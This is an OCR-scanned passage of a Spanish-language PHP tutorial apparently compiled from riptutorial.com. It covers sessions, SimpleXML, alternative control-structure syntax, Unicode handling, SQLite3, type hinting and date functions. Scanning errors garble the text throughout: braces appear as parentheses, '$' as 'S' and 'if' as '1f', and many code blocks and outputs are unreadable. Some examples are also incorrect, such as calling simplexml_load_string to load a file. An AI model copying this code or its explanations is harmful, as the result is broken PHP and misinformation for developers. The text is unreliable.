5 
) 


//Finally we can destroy the session: 
session _destroyl(); 


Usar session_destroy() es diferente a usar algo como s_session = array(); que eliminará todos los 
valores almacenados en la sessiox superglobal pero no destruirá la versión almacenada real de la 
sesión. 


Nota : usamos s_sessI0N = array (); En lugar de session_unset () porque el manual estipula: 


Solo use session_unset () para el código obsoleto que no usa $ SESSION. 


Opciones de session_start () 


Comenzando con las sesiones de PHP, podemos pasar una matriz con opciones pp. ini basadas 
en sesión a la función session_start . 


Ejemplo 


<?php 
1f (version _compare(PHP_VERSION, '7.0.0') >= 0) ( 
// php >= 7 version 


session_start ([ 
'cache_limiter' => 'private', 
'read_and_close' => true, 
DD; 
) else ( 
ias < Y version 
session_start (); 


> 


Esta característica también introduce una nueva configuración de php. ini llamada 
session.lazy_write , que por defecto es true y significa que los datos de la sesión solo se 
reescriben, si cambian. 


Referencia: https://wiki.php.net/rfc/session-lock-ini 


Nombre de sesion 
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Comprobando si las cookies de sesión han 
sido creadas 


Nombre de sesión es el nombre de la cookie utilizada para almacenar sesiones. Puede usar esto 
para detectar si se han creado cookies para una sesión para el usuario: 


1f (isset ($_COOKIE[session_name()])) ( 


session_start(); 


) 


Tenga en cuenta que este método generalmente no es útil a menos que realmente no quiera 
crear cookies innecesariamente. 


Cambio de nombre de sesión 


Puede actualizar el nombre de la sesión llamando a session_name() . 


//Set the session name 
session_name ('newname'); 
//Start the session 
session_start (); 


Si no se proporciona ningún argumento en session_name () , Se devuelve el nombre de la sesión 
actual. 


Debe contener solo caracteres alfanuméricos; debe ser breve y descriptivo (es decir, 
para usuarios con advertencias de cookies habilitadas). El nombre de la sesión no 
puede constar de dígitos solamente, por lo menos una letra debe estar presente. De lo 
contrario, cada vez se genera un nuevo ID de sesión. 


Bloqueo de sesión 


Como todos sabemos, PHP escribe datos de sesión en un archivo en el lado del servidor. Cuando 
se realiza una solicitud al script php que inicia la sesión a través de session_start () , PHP bloquea 
este archivo de sesión que resulta en bloquear / esperar otras solicitudes entrantes para que se 
complete la misma session_ia , debido a que las otras solicitudes se atascarán en session_start () 
hasta que o a menos que el archivo de sesión bloqueado no se libere 


El archivo de sesión permanece bloqueado hasta que el script se completa o la sesión se cierra 
manualmente. Para evitar esta situación, es decir, para evitar que se bloqueen varias solicitudes , 
podemos iniciar la sesión y cerrar la sesión, lo que liberará el bloqueo del archivo de sesión y 
permitirá continuar con las solicitudes restantes. 


Ml as € TAO 
// start session 
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session_start (); 


// write data to session 
S_SESSION['id'] = 123; // session file is locked, so other requests are blocked 


// close the session, release lock 
session_write_close(); 


Ahora, uno pensará que si la sesión está cerrada, cómo leeremos los valores de la sesión, se 
embellecerá incluso después de cerrar la sesión, la sesión aún estará disponible. Por lo tanto, 
todavía podemos leer los datos de la sesión. 


SENOR SES STONE VE AL ej 12 


En php> = 7.0 , podemos tener read_only session, read_write session y lazy_write session, por 
lo que puede que no sea necesario utilizar session_write_close() 


Inicio de sesión segura sin errores 


Muchos desarrolladores tienen este problema cuando trabajan en grandes proyectos, 
especialmente si trabajan en algunos CMS modulares en complementos, complementos, 
componentes, etc. Esta es la solución para el inicio seguro de la sesión donde, si primero se 
verificó la versión de PHP para cubrir todas las versiones, se verifica la siguiente. si se inicia 
sesion Si la sesión no existe, entonces inicio la sesión segura. Si existe sesión no pasa nada. 


if (version_compare(PHP_VERSION, '7.0.0') >= 0) ( 
if (session_status() == PHP_SESSION_NONE) ( 
session_start (array ( 
'cache_limiter' => 'private', 
'"read_and_close' => true, 


35 


) 
else if (version _compare(PHP_VERSION, '5.4.0') >= 0) 


( 


ps 


1f (session _status() == PHP_SESSION_NONE 
session_start (); 


if(session ale) == ") 4 
session_start (); 


Esto puede ayudarte mucho para evitar el error session_start . 


Lea Sesiones en línea: https://riptutorial.com/es/php/topic/486/sesiones 
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Capítulo 93: SimpleXML 


Examples 


Cargando datos XML en simplexml 


Cargando desde la cuerda 


Use simplexml_load_string para Crear Un simplexMLElement partir de una cadena: 


$xmlString = "<?xml version='1.0' encoding='UTE-8'?>"; 
g 


$xml = simplexml_load_string($xmlString) or die("Error: Cannot create object"); 


Tenga en cuenta que ox no ¡ ¡ debe utilizarse aquí porque la prioridad de or es mayor que =. El 
código posterior o- solo se ejecutará si sxm1 finalmente se resuelve en falso. 


Cargando desde archivo 


Utilice simplexm1_1oad_fi1e para cargar datos XML desde un archivo o una URL: 


$xml = simplexml_load_string("filePath.xml"); 


$xml = simplexml_load_string("https://example.com/doc.xml"); 


La URL puede ser de cualquier esquema que soporte PHP , o envoltorios de flujos 
personalizados. 


Lea SimpleXML en línea: https://riptutorial.com/es/php/topic/7820/simplexml 
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Capítulo 94: Sintaxis alternativa para 


estructuras de control 


Sintaxis 


* estructura: / * código * / endstructura; 


Observaciones 


Cuando se mezcla la estructura alternativa para el switcn con HTML, es importante no tener 


ningún espacio en blanco entre el switch ($condition) : inicial switch ($condition): Y Ol case $value: 


primer case $value: Hacer esto es intentar hacer eco de algo (espacios en blanco) antes de un 


caso. 


Todas las estructuras de control siguen la misma idea general. En lugar de usar llaves para 


encapsular el código, estás usando una enastructure; dos puntos y UNA endstructure; Sentencia: 


structure: /* code */ endstructure; 


Examples 
Alternativa para la declaración 


<?php 

tos ($1 = Op $1 < 107 Sis) 3 
do_something($i); 

endfor; 

B> 

<eomo moje (Sl = Up Sí < 109 Silsur)s ES 


<p>Do something in HTML with <?php echo $i; ?></p> 
<?php endfor; ?> 


Alternativa mientras que la declaración 


<?php 

while ($condition): 
do_something(); 

endwhile; 

> 

<?php while ($condition): ?> 


<p>Do something in HTML</p> 
<?php endwhile; 7?> 
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Declaración foreach alternativa 


<?php 

foreach ($collection as $item): 
do_something($item); 

endforeach; 

ES 

<?php foreach ($collection as $item): ?> 


<p>Do something in HTML with <?php echo S$item; ?></p> 
<?php endforeach; ?> 


Declaración de cambio alternativo 


<?php 


switch ($condition): 
Case $value: 
do_something(); 


break; 
default: 
do_something_else(); 
break; 
endswitch; 
> 
<?php switch ($condition): ?> 


<?php case $value: /* having whitespace before your cases will cause an error */ ?> 
<p>Do something in HTML</p> 
<?php break; ?> 
<?php default: ?> 
<p>Do something else in HTML</p> 
<?php break; ?> 
<?php endswitch; ?> 


Alternativa si / else declaración 


<?php 


1 (Scomellr Lom) s 
do_something(); 

elseif (fanother_condition): 
do_something_else(); 

else: 
do_something_different (); 

endif; 


e 
<A) dle (Scomellealca) | > 
<p>Do something in HTML</p> 


<?php elseif (Sfanother_condition): ?> 
<p>Do something else in HTML</p> 
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<?php else: ?> 
<p>Do something different in HTML</p> 
<?php endif; ?> 


Lea Sintaxis alternativa para estructuras de control en línea: 
https://riptutorial.com/es/php/topic/1 199/sintaxis-alternativa-para-estructuras-de-control 
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Capítulo 95: Soporte Unicode en PHP 


Examples 


Conversión de caracteres Unicode a formato "1 uxxxx" usando PHP 


Puede utilizar el siguiente código para retroceder y avanzar. 


1f (!function_exists('codepoint_encode')) ( 
function codepoint_encode($str) ( 
return substr(json_encode ($str), 1, -1); 
) 
) 
1f (!function_exists('codepoint_decode')) ( 


function codepoint_decode($str) ( 
return Json_decode(sprintf('"Ss"', $str)); 


) 


Cómo utilizar : 


echo "AnUse JSON encoding / decodingin"; 
var_dump (codepoint_encode("00")); 
var_dump (codepoint_decode('lu62111u597d')); 


Salida : 


Use JSON encoding / decoding 
Seta Aa) UN ALS 
siesta (19) We 


Conversión de caracteres Unicode a su valor numérico y / o entidades HTML 
usando PHP 


Puede utilizar el siguiente código para retroceder y avanzar. 


1f (!function_exists('mb_internal_encoding')) ( 
function mb_internal_encoding($encoding = NULL) ( 
return ($from_encoding === NULL) ? iconv_get_encodingí() 
iconv_set_encoding($encoding); 
) 
) 


1f (!function_exists('mb_convert_encoding')) ( 
function mb_convert_encoding($str, $to_encoding, $from_encoding = NULL) ( 
return iconv(($from_encoding === NULL) ? mb_internal_encoding() : $from_encoding, 
Stotenecoding, ste); 


) 
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me (rasca esalsies (alo tel) Al 
Sencoding = 
cs ta Y) A 


Sord); 


function mb_chr ($ord, 
ALE 


(Sencoding 
return pack("N", 
) else ( 


return mb_convert_encoding(mb_chr ($ord, 


Le (erario Salses (alo om) A 
Sencoding = 
TES ABE) 


(strlen ($char) 


function mb_ord($char, 
aL iÉ 


(Sencoding === 
Liste () Sole) = 
euvica Sure 

) else ( 


LUMEN) 


UTE SUS) 


( 


=== 4) 


( 


'"UCS-4B 


E"), 


? RQunpack('N', 


return mb_ord(mb_convert_encoding($char, 


1f (!function_exists('mb_htmlentities')) ( 


function mb_htmlentities($string, $hex = 


true, 


UES=UBEN 


Sencoding = 


return preg_replace_callback('/[1x180)-1x(10FFFF)]/u', 
mb_ord($match[0])); 


return sprintf ($hex 2 'efxSX;' 


bo Ssiizilaej) A 


al sE 
function mb_html_entity_decode ($string, 
return html_entity_decode ($string, 
Sflags, 
) 


Sencoding); 


Cómo utilizar : 


echo "Get string from numeric DEC valuein"; 
var dinp (merca (USIIAAUES SABEN) 
var_dump (mb_chr (271)); 


echo "AnGet string from numeric HEX valuen"; 
var_dump (mb_chr (0xC48F, 'UCS-4BE')); 
var_dump (mb_chr (0x010F)); 


echo 
"UCS-4BE' 
var_dump (mb_ord('d')); 


var_dump (mb_ord('d', De 


echo 
var_dump (dechex (mb_ord('d'', 'UCS-4BE'))); 
var_dump (dechex (mb_ord('d'))); 


echo "An 


var_dump (mb_htmlentities('tchúf', false)); 
( 


(!function_exists('mb_html_entity_decode')) 


1 
Sflags = 
($flags 


O) 


var_dump (mb_html_entity_decode ('tch£+t252;8+4223;'));5 
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ncode / decode to DEC based HTML entitiesin"; 


"XnGet numeric value of character as DEC stringin"; 


"XnGet numeric value of character as HEX stringin"; 


Sencoding = 
ENT_COMPAT 


y E 


function 


Sencoding 


Schar) 


Sencoding 


AS 


, 


funpack('n', 


), 


(Smat ch) 


'"UCS-4BI 


Ed 
5 


'"UCS-4B 


E 
5 


use 


MS 


ENT_HTML401 


Schar); 


(S$hex) 


( 
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echo "AnEncode / decode to HEX based HTML entitiesin"; 
var_dump (mb_htmlentities('tchúB')); 
var_dump (mb_html_entity_decode ('tchs£+xFC;8+xDF;'));5 


Salida : 


Get string from numeric DEC value 
Sica (40) WE 
Siezilmo (2) ME 


Get string from numeric HEX value 
Sica (140) WE 
secano (2) WE 


Get numeric value of character as DEC int 
ae (30S4LS)) 
abiae (274) 


Get numeric value of character as HEX string 
Sine (4) edi 
sia (5) WÍLQEw 


ncode / decode to DEC based HTML entities 
cia (LS) ME 22 ap 
ciao (1) Mecano 


o 0 E 


Encode / decode to HEX based HTML entities 
string(15) "tchsftxFEC;8+xDF;" 
secas (7) Meca 


Extensión internacional para soporte de Unicode 


Las funciones de cadena nativas se asignan a funciones de un solo byte, no funcionan bien con 
Unicode. Las extensiones iconv y mbstring ofrecen algún soporte para Unicode, mientras que Intl- 
extention ofrece soporte completo. Intl es un contenedor para la biblioteca de ICU estándar de 
facto , consulte http://site.icu-project.org para obtener información detallada que no está 
disponible en hittp://php.net/manual/en/book.intl.php . Si no puedes instalar la extensión, echa un 
vistazo a una implementación alternativa de Intl desde el framework Symfony . 


ICU ofrece una Internacionalización completa de la cual Unicode es solo una parte más pequeña. 
Puedes hacer la transcodificación fácilmente: 


NUConverter::transcode ($sString, 'UTF-8', 'UTF-8'); // strip bad bytes against attacks 
Pero, no desestime iconv todavía, considere: 
icon ( , WASICLE y Asia, Mia) y Obicames "Cilicia" 
Lea Soporte Unicode en PHP en línea: https://riptutorial.com/es/php/topic/4472/soporte-unicode- 


en-php 
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Capítulo 96: SQLite3 


Examples 
Consultar una base de datos 


<?php 
//Create a new SOLite3 object from a database file on the server. 
Sdatabase = new SOLite3('mysqlitedb.db'); 


//Query the database with SOL 
Sresults = $database->query('SELECT bar FROM foo'); 


//Iterate through all of the results, var_dumping them onto the page 
while ($row = $results->fetchArray()) ( 
var_dump ($row) ; 


Véase también http://www. riptutorial.com/topic/184 
Recuperando un solo resultado 


Además de usar sentencias de LIMIT SQL, también puede usar la función querysingle para 
recuperar una sola fila, o la primera columna. 


<?php 
Sdatabase = new SOLite3('mysqlitedb.db'); 


//Without the optional second parameter set to true, this query would return just 
//the first column of the first row of results and be of the same type as columnName 
Sdatabase->querySingle('SELECT columnlName FROM table WHERE column2Name=1'); 


//With the optional entire_row parameter, this query would return an array of the 
//entire first row of query results. 


Sdatabase->querySingle('SELECT columnlName, column2Name FROM user WHERE column3Name=1', true); 
> 


Tutorial de inicio rápido de SQLite3 


Este es un ejemplo completo de todas las APl relacionadas con SQLite comúnmente utilizadas. El 
objetivo es ponerlo en marcha realmente rápido. También puede obtener un archivo PHP 
ejecutable de este tutorial. 


Creación / apertura de una base de datos 


Vamos a crear una nueva base de datos primero. Créelo solo si el archivo no existe y ábralo para 
leer / escribir. La extensión del archivo depende de usted, pero .salite es bastante común y se 
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explica por sí mismo. 


Sdb = new SOLite3('analytics.sgqlite', SOLITE3_OPEN_CREATE | SOLITE3_OPEN_READWRITE 


e. 


Creando una mesa 


$db->query ('CREATE TABLE 1F NOT EXISTS "visits" ( 
"id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, 
"user_id" INTEGER, 
"url" VARCHAR, 
"time" DATETIME 
OE 


Insertar datos de muestra. 


Es recomendable envolver las consultas relacionadas en una transacción (con palabras clave 
BEGIN Y comm1T ), incluso si no le importa la atomicidad. Si no hace esto, SQLite envuelve 
automáticamente cada consulta en una transacción, lo que ralentiza todo enormemente. Si eres 
nuevo en SQLite, puedes sorprenderte por qué los INSERT son tan lentos . 


$db->exec ('BEGIN'); 

Eco quisiay (INSI O Mist (Musee: dor, WMpato,. Mesiaao) 
vais (1, res", "2017-0114 1091192300) 15) 7 

Eco uisiay (INSI NO Myaisdese (Musee: dor, Mime, Mesial) 
vais (12, eesezr, "2017201 =14 osa galan) Ue 


$db->exec ('COMMIT'); 


Insertar datos potencialmente inseguros con una declaración preparada. Puedes hacer esto con 
parámetros nombrados : 


Sstatement coros (INSI NO Mystic (Mises 10d, "ue, Mesael) 
vVcolas (sulle, ¿pusl, ctas) 0) 
$statement->bindValue(':uid', 1337); 


Sstatement->bindValue(':url', '/test'); 
Sstatement->bindValue(':time', date('Y-—m-d H:i:s')); 
Sstatement->execute(); you can reuse the statement with different values 


Recuperacion de datos 


Vamos a buscar las visitas de hoy del usuario ++ 42. Volveremos a utilizar una declaración 
preparada, pero esta vez con parámetros numerados , que son más concisos: 


Sstatement Sdb->prepare ('SELECT * FROM "visits" WHERE "user_id" = ? AND "time" >= ?'); 
Sstatement->bindValue(1, 42); 

Sstatement->bindValue(2, '2017-01-14'); 

Sresult = $statement->execute/(); 
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echo "Get the 1st row as an associative array:In"; 
print_r($result->fetchArray (SOLITE3_ASSOC)); 
cclao “as 


cho "Get the next row as a numeric array:In"; 
print_r($result->fetchArray (SOLITE3_NUM)); 
cmo “yal 


Nota: Si no hay más filas, fetchArray () devuelve raise . Puedes aprovechar esto en un 
bucle de wnile . 


Libere la memoria: esto no se hace automáticamente, mientras se ejecuta su script 


Sresult->finalize(); 


Shorthands 


Aquí hay una taquigrafía útil para obtener una sola fila como una matriz asociativa. El segundo 
parámetro significa que queremos todas las columnas seleccionadas. 


Cuidado, esta abreviatura no admite el enlace de parámetros, pero puedes escapar de las 
cadenas en su lugar. ¡Ponga siempre los valores en SOLAS citas! Las comillas dobles se usan 
para los nombres de tablas y columnas (similar a los backticks en MySQL). 


S$query = 'SELECT * FROM "visits" WHERE "url" =N'' 
sQLite3::escapeString('/test') 
'X' ORDER BY "id" DESC LIMIT 1'; 


SlastVisit = $db->querySingle ($query, true); 
ccao "ase viso o "fees 3 ya" 


¡cla e (Sas asale) y 
echo Ante 


Otra taquigrafía útil para recuperar un solo valor. 


SuserCount = $db->querySingle('SELECT COUNT(DISTINCT "user_id") FROM "visits"'); 


echo "User count: S$userCountin"; 
cclao “Muls 


Limpiar 


Finalmente, cierre la base de datos. Sin embargo, esto se hace automáticamente cuando el script 
termina. 


Sdb->close (); 
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Lea SQLite3 en línea: https://riptutorial.com/es/php/topic/5898/sqlite3 
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Capítulo 97: Tipo de insinuación 


Sintaxis 


» función f 
* función f 
» función f 
» función f 
* función f 
* función f 
+ función f 
* función f 
* función f 
» función f 
» función f 
* función f 


ClassName $ param) () 
bool $ param) () 

int $ param) () 

float $ param) () 
cadena $ param) [() 

self $ param) () 
llamable $ param) (] 
array $ param) () 

? tipo_nombre $ param) () 
): tipo_nombre () 

): vacío () 

):? type_name [) 


A Y A O A O O 


Observaciones 


Las sugerencias de tipo o las declaraciones de tipo son una práctica de programación defensiva 
que garantiza que los parámetros de una función sean de un tipo específico. Esto es 
particularmente útil cuando se trata de una sugerencia de tipo para una interfaz porque permite 
que la función garantice que un parámetro proporcionado tendrá los mismos métodos que se 
requieren en la interfaz. 


Pasar el tipo incorrecto a una función de tipo insinuado provocará un error fatal: 


Fatal error: no detectada TypeError: Argumento X pasa a foo () debe ser del tipo 
RequiredType, ProvidedType dado 


Examples 


Tipografía de tipos escalares, matrices y callables. 


El soporte para los tipos de parámetros de matriz de sugerencias (y valores de retorno después 
de PHP 7.1) se agregó en PHP 5.1 con la array palabras clave. Cualquier matriz de cualquier 
dimensión y tipo, así como las matrices vacías, son valores válidos. 


El soporte para tipografías de insinuación de tipo se agregó en PHP 5.4. Cualquier valor que 
is_callable() es válido para los parámetros y devuelve los valores indicados como callable , es 
decir, objetos de closure ; cadenas de nombre de función Y array (class_name|object, method_name) 


Si se produce un error tipográfico en el nombre de la función de modo que no Sea is callable() , 
se mostrará un mensaje de error menos obvio: 
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Error grave: error de tipo no detectado: el argumento 1 que se pasa a foo () debe ser 
del tipo que se puede llamar, cadena / matriz dada 


Fúiaccioa mo (isculillaigle se) 10 

too (Mesonero) Y/ valia 

coo (Masies cummalaci) a // vela 

Maa, "Emma Y) valia 

[new ReflectionClass("stdClass"), "getName"]); // valid 
Fumero) (e Y aula! 


foo 
foo 


( 
( 
( 
SON 


foo("no_such_function"); // callable expected, string given 


Los métodos no estáticos también se pueden pasar como reclamables en formato estático, lo que 
resulta en una advertencia de desaprobación y un error de nivel E_STRICT en PHP 7 y 5, 
respectivamente. 


Método de visibilidad se tiene en cuenta. Si el contexto del método con el parámetro cal1ab1e NO 
tiene acceso al que se puede llamar proporcionado, terminará como si el método no existiera. 


class Fool 
private static function f()( 
echo "Good" . PHP_EOL; 
) 


public static function r(callable $c)( 
$c(); 
) 
) 


function r(callable $c)() 


ross sz ([Mros", "EWI) 
lots En 
Salida: 


Error grave: error de tipo no detectado: el argumento 1 pasado a r () debe ser 
invocable, se debe dar una matriz 


El soporte para tipos de escalador de sugerencias de tipo se agregó en PHP 7. Esto significa que 
obtenemos soporte de sugerencias de tipo para boolean S, integer , float SY string $. 


<?php 


Euacecion acll(áme Se, me So) 
return $a + $b; 


vems elo (eel, 2))p // Oiicames "me (5) Y 
De forma predeterminada, PHP intentará convertir cualquier argumento proporcionado para que 


coincida con su sugerencia de tipo. Cambiar la llamada para ada(1.5, 2) da exactamente el 
mismo resultado, ya que el float 1.5 fue lanzado a in: por PHP. 
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Para detener este comportamiento, uno debe agregar declare (strict_types=1); a la parte superior 
de cada archivo fuente PHP que lo requiera. 
<?php 
declare (strict_types=1); 
cuac loma axel (are Sa, aime So) 
ceuLva Sa + Slop 


) 


vela ota (elena) 22) 


El script anterior ahora produce un error fatal: 


Error grave: error de tipo no detectado: el argumento 1 que se pasa a add () debe ser 
del tipo entero, flotante dado 


Una excepción: tipos especiales 


Algunas funciones de PHP pueden devolver un valor de tipo resource . Como este no es un tipo 
escalar, sino un tipo especial, no es posible escribirlo. 


Como ejemplo, cur1_init () devolverá UN resource , aSÍ COMO fopen () . Por supuesto, esos dos 
recursos no son compatibles entre sí. Debido a eso, PHP 7 siempre lanzará el siguiente 
TypeError cuando escriba resource sugerencias explícitamente: 


TypeError: el argumento 1 pasado a sample () debe ser una instancia de recurso, 
recurso dado 


Tipo de sugerencia de objetos genéricos 


Dado que los objetos PHP no se heredan de ninguna clase base (incluyendo staciass ), no hay 
soporte para el tipo de insinuación de un tipo de objeto genérico. 


Por ejemplo, lo de abajo no funcionará. 


<?php 
function doSomething (object Sobj) ( 
rieulióa 5ol93— 


) 


class ClassOne () 
class ClassTwo () 


SclassOne= new ClassOne(); 
SclassTwo= new ClassTwo(); 


doSomething($classOne); 
doSomething($classTwo); 
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Y lanzará un error fatal: 


Error grave: error de tipo no detectado: el argumento 1 pasado a doSomething () debe 
ser una instancia de objeto, instancia de OperationOne dada 


Una solución a esto es declarar una interfaz degenerada que no define métodos y hacer que 
todos sus objetos implementen esta interfaz. 
<?php 
interface Object () 
function doSomething (Object Sobj) ( 
ieiuida Solo3— 


) 


class ClassOne implements Object () 
class ClassTwo implements Object () 


SclassOne = new ClassOne(); 
SclassTwo = new ClassTwo(); 


doSomething($classOne); 
doSomething($classTwo); 


Tipo de insinuación de clases e interfaces 


Se agregaron sugerencias de tipo para clases e interfaces en PHP 5. 


Indicación de tipo de clase 


<?php 
class Student 


public $name = 'Chris'; 


class Sclmor)L 


public $name = 'University of Edinburgh'; 


function enroll (Student $student, School $school) 


echo $student->name . ' is being enrolled at ' . $school->name; 


$student = new Student (); 
$school = new School /(); 


enroll ($student, $school); 


Los resultados del script anterior: 
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Chris está siendo matriculado en la Universidad de Edimburgo 


Sugerencia de tipo de interfaz 


<?php 


interface Enrollable (); 
interface Attendable (); 


class Chris implements Enrollable 


public $name = 'Chris'; 


class UniversityOfEdinburgh implements Attendable 


public $name = 'University of Edinburgh'; 
function enroll (Enrollable Sfenrollee, Attendable $premises) 
cho S$enroll >name . ' is being enrolled at ' . $premises->name; 
S$chris = new Chris(); 


Sedinburgh = new UniversityOfEdinburgh (); 


enrol1l ($chris, Sedinburgh); 


El ejemplo anterior produce lo mismo que antes: 


Chris está siendo matriculado en la Universidad de Edimburgo 


Sugerencias de auto tipo 


La palabra clave seis puede usarse como una sugerencia de tipo para indicar que el valor debe 
ser una instancia de la clase que declara el método. 


Tipo de sugerencia de no retorno (nulo) 

En PHP 7.1, el tipo de retorno voia fue agregado. Si bien PHP no tiene un valor de vo:a real, en 
general se entiende en todos los lenguajes de programación que una función que no devuelve 
nada devuelve Un voia . Esto no debe confundirse con devolver nu11 , ya QUe nu11 es un valor que 


se puede devolver. 


loco lciora eres recu 0) Ss Wwoilel 
// valid 
) 


Tenga en cuenta que si declara un retorno voia , no puede devolver ningún valor o obtendrá un 
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error fatal: 


function should_return_nothing(): void ( 
return null; // Fatal error: A void function must not return a value 


) 
Sin embargo, es válido usar return para salir de la función: 


function returns_nothing(): void ( 
return; // valid 


) 


Consejos de tipo anulable 


Parámetros 


Se agregó una sugerencia de tipo anulable en PHP 7.1 usando el > operador antes de la 
sugerencia de tipo. 


Eunet one (strings), 
function gí(string $a) (1) 


E (mall) ¿/ valio 
g(null); // TypeError: Argument 1 passed to g() must be of the type string, null given 


Antes de PHP 7.1, si un parámetro tiene una sugerencia de tipo, debe declarar un valor 
predeterminado nu11 para aceptar valores nulos. 


Ebacicioja de (Sicicias] Sa = Tabula) 
Ebacicion e seria Se) 


saul)? // veliel 
g(null); // TypeError: Argument 1 passed to g() must be of the type string, null given 


Valores de retorno 


En PHP 7.0, las funciones con un tipo de retorno no deben devolver nulo. 


En PHP 7.1, las funciones pueden declarar una sugerencia de tipo de retorno anulable. Sin 
embargo, la función todavía debe devolver null, no void (sin / declaraciones de retorno vacías). 


cuúnccion E) 3 Fetesmime 
iisiculiaa bulo 


cúncrcion e) 2 Fatima 1) 
function la) 3 Fetezinag (1) 
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el) // O% 
g(); // TypeError: Return value of g() must be of the type string or null, none returned 


h(); // TypeError: Return value of h() must be of the type string or null, none returned 


Lea Tipo de insinuación en línea: https://riptutorial.com/es/php/topic/1430/tipo-de-insinuacion 
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Capítulo 98: Trabajando con fechas y 
horarios 


Sintaxis 


+ fecha de cadena (cadena $ formato [, int $ marca de hora = hora ()]) 
* int strtotime (cadena $ tiempo [, int $ ahora]) 


Examples 


Analizar las descripciones de fechas en inglés en un formato de fecha 


Usando la función s+:to+ime () combinada con la «a+. () , puede analizar diferentes descripciones 
de texto en inglés para las fechas: 


// Gets the current dat 


echo date("m/d/Y", strtotime("now")), "An"; // prints the current dat 

echo date ("m/d/Y", strtotime("10 September 2000")), "An"; // prints September 10, 2000 in the 
m/d/Y format 

echo date("m/d/Y", strtotime("-1 day")), "An"; // prints yesterday's date 

celo care (Mayey/S20, surco (Meal mec), Dato // cdas clas sesullie Oj das ¡culiacan dele q El 

week 

echo date ("m/d/Y", strtotime("+1 week 2 days 4 hours 2 seconds")), "An"; // same as the last 


example but with extra days, hours, and seconds added to it 

echo date (n/d Pro tame (Mm eztRrEbueEs day antes nee Tuesday sidats 

echo date ("m/d/Y", strtotime("last Monday")), "An"; // prints last Monday's date 

ceo care (Mayol, Erico (Miles cele (O mee mamada), Dado Y patas cleics loja seliasie (Pleny (OE 


next month 


echo date("m/d/Y", strtotime ("Last day of next month")), "An"; // prints date of last day of 


n 
next month 
n 


echo date ("m/d/Y", strtotime ("First day of last month")), "An"; // prints date of first day of 
Lasa momo 
echo date("m/d/Y", strtotime ("Last day of last month")), "In"; // prints date of last day of 


last month 


Convertir una fecha en otro formato 


Los basicos 


La forma más simple de convertir un formato de fecha en otro es usar sirtotime() CON date() . 
strtotime() Convertirá la fecha en una marca de tiempo Unix . Ese sello de tiempo de Unix se 
puede pasar a la date () para convertirlo al nuevo formato. 


Stlimestame= strtor mel 2008070112235: 02005 
$new_date_format = date('Y-m-d H:i:s', S$timestamp); 


O como una sola línea: 
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Snew_date format = date('Y-m-d H:i:s', strtotime('2008-07-01T22:35:17.02')); 


Tenga en cuenta que strtotime() requiere que la fecha esté en un formato válido . Si no se 
proporciona un formato válido, strtotime() devolverá false, lo que provocará que su fecha sea 
1969-12-31. 


Usando bateTime () 


A partir de PHP 5.2, PHP ofreció la clase na:erime () que nos ofrece herramientas más poderosas 
para trabajar con fechas (y hora). Podemos reescribir el código anterior usando bateTime () COMO 
tal: 


Sdate = new DateTime ('2008-07-01T22:35:17.02'); 
Snew_date_format = $date->format ('Y-m-d H:i:s'); 


Trabajando con las marcas de tiempo de Unix 


date () toma una marca de tiempo de Unix como su segundo parámetro y le devuelve una fecha 
formateada: 


Snew_date_ format = date('Y-—m-d H:i:s', '1234567890'); 


DateTime () funciona con las marcas de tiempo de Unix agregando una e antes de la marca de 
hora: 


Sdate = new DateTime('f1234567890'); 
Snew_date_format = $date->format ('Y-m-d H:i:s'); 


Si la marca de tiempo que tiene es en milisegundos (puede terminar en 000 y / o la marca de 
tiempo tiene una longitud de trece caracteres), deberá convertirla en segundos antes de poder 
convertirla a otro formato. Hay dos maneras de hacer esto: 


+ Recorte los últimos tres dígitos usando subs: + () 


Recortar los últimos tres dígitos se puede lograr de varias maneras, pero usar substr() es la más 
fácil: 


Stimestamp = substr('1234567899000', -3); 


+ Divide el substr por 1000 


También puede convertir la marca de tiempo en segundos dividiendo por 1000. Debido a que la 
marca de tiempo es demasiado grande para que los sistemas de 32 bits puedan realizar 
operaciones matemáticas, necesitará usar la biblioteca BC Math para hacer las matemáticas como 
cadenas: 


$timestamp = bcediv('1234567899000', '1000'); 
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Para obtener una marca de tiempo Unix puede usar strtotime () que devuelve una marca de 
tiempo Unix: 


Stimestamp = strtotime('1973-04-18'); 


Con DateTime () puedes usar bateTime: :getTimestamp () 


Sdate = new DateTime ('2008-07-01T22:35:17.02'); 
Stimestamp Sdate->getTimestamp (); 


Si está ejecutando PHP 5.2, puede usar la opción de formato yu lugar: 


Sdate = new DateTime ('2008-07-01T22:35:17.02'); 
Stimestamp = $date->format ('U'); 


Trabajar con formatos de fecha no estándar y ambiguos. 


Desafortunadamente, no todas las fechas con las que un desarrollador tiene que trabajar están en 
un formato estándar. Afortunadamente, PHP 5.3 nos proporcionó una solución para eso. 
DateTime::createrromFormat () NOS permite decirle a PHP en qué formato se encuentra una cadena 
de fecha para que pueda analizarse con éxito en un objeto DateTime para una mayor 
manipulación. 


Sdate = DateTime::createFromFormat ('F-d-Y h:i A', 'April-18-1973 9:48 AM'); 
Snew_date_format = $date->format ('Y-m-d H:i:s'); 


En PHP 5.4, obtuvimos la capacidad de hacer acceso a los miembros de la clase en la creación 
de instancias, lo que nos permite convertir nuestro código bateTime () en una sola línea: 


Snew_date_format = (new DateTime ('2008-07-01T22:35:17.02'))->format ('Y-m-d H:1i:s'); 
Desafortunadamente, esto todavía no funciona CON DateTime: :createFromFormat () . 


Uso de constantes predefinidas para el formato de fecha 


Podemos usar constantes predefinidas para el formato de date () en date () lugar de las cadenas 
de formato de fecha convencionales desde PHP 5.1.0. 


Constantes de formato de fecha predefinidas disponibles 


parz_arom - Átomo (2016-07-22T14: 50: 01 + 00: 00) 


DATE_cooktE - Cookies HTTP (viernes, 22-jul-16 14:50:01 UTC) 


DATE_RSS - RSS (viernes, 22 de julio de 2016 14:50:01 +0000) 


paTeÉ_w3C - World Wide Web Consortium (2016-07-22T14: 50: 01 + 00: 00) 
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DATE_1508601 - ISO-8601 (2016-07-22T14: 50: 01 + 0000) 


DaTe_rFc822 - RFC 822 (Vie, 22 de julio 16 14:50:01 +0000) 


pare_eeceso - RFC 850 (viernes, 22-jul-16 14:50:01 UTC) 


DATE_RFC1036 - RFC 1036 (Vie, 22 de julio 16 14:50:01 +0000) 


DATE_RFC2822 - REC 2822 (viernes, 22 de julio de 2016 14:50:01 +0000) 


Ejemplos de uso 


echo date(DATE_RFC822); 


Esto dará salida: viernes, 22 de julio 16 14:50:01 +0000 


echo date(DATE_ATOM, mktime(0,0,0,8,15,1947)); 


Esto dará como resultado: 1947-08-15T00: 00: 00 + 05: 30 
